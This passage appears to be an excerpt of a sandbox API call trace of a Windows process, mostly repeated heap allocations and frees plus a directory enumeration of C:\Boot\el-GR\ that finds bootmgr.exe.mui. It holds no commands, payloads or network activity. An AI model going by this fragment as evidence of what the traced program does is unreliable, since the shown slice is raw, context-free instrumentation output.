hHeap=0x35b0000) returned 1 [0117.050] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.050] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.050] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.050] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.050] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.050] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.051] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.051] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.051] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.051] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.051] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.051] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.052] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.052] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.053] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.053] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.055] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.056] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.056] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.057] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.057] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: 